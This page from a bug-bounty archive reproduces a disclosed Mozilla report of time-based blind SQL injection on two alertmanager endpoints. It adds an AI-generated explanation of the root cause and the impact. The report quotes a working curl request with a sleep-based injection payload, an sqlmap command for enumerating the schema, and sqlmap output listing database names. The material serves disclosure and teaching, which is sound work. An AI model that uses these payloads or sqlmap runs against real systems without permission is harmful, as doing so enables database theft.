Skip to content
SQL injection Disclosed report Beginner

SQLI on http://alertmanager.allizom.org:8080/

The report claims that two endpoints on alertmanager.allizom.org are vulnerable to time-based SQL injection, as demonstrated by a curl request that causes a delay and by sqlmap output showing a blind injection. An attacker could use this to dump the database.

Griffin Francis Follow

Originally disclosed on Mozilla

  • Fixed in 17 days
  • Paid in 17 days
  • Disclosed after 17 days
Text
User Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36

Steps to reproduce:

Hello. The following URL appear to be vulnerable to time based SQL Injection:

curl -i -s -k  -X 'GET' \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0' -H 'Referer: http://alertmanager.allizom.org:8080/alerts.html' -H 'X-Forwarded-For: 127.0.0.1' \
    'http://alertmanager.allizom.org:8080/alertsbyrev?expired=0&1%20and%20(select*from(select(sleep(20)))a)--%20=1'

SQLMAP confirms this vulnerability:

sqlmap -u "http://alertmanager.allizom.org:8080/getvalues?name=keyrevision&value=" --tamper=space2comment --random-agent --level 4 --threads=10 --schema

Parameter: value (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: name=keyrevision&value=' AND SLEEP(5) AND 'AFKB'='AFKB
---
[21:47:55] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[21:47:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[21:47:55] [INFO] enumerating database management system schema
[21:47:55] [INFO] fetching database names
[21:47:55] [INFO] fetching number of databases
[21:47:55] [INFO] resumed: 8
[21:47:55] [INFO] resumed: information_schema
[21:47:55] [INFO] resumed: ale
[21:47:55] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically





Expected results:

The vulnerable parameter should be properly sanitized to protect against SQLI. This would prevent dumping of the database within question.

The original report as published on Mozilla's Bugzilla, by Griffin Francis. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application builds SQL queries by concatenating user-supplied parameters without parameterisation or proper escaping.

Impact

An attacker could dump the database, potentially exposing sensitive information.

What the attacker needed

None

How it was found

  1. Send a crafted GET request to the alertsbyrev endpoint with a parameter that includes a time-delay SQL snippet.
  2. Observe that the response is delayed, indicating the injection succeeded.
  3. Use sqlmap on the getvalues endpoint with the value parameter to confirm the time-based blind injection and enumerate the database schema.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the attacker can make the database wait (a time-based attack) to confirm the injection works, and then extract data. This could expose sensitive information stored in the database.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by Griffin Francis

View all

20 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.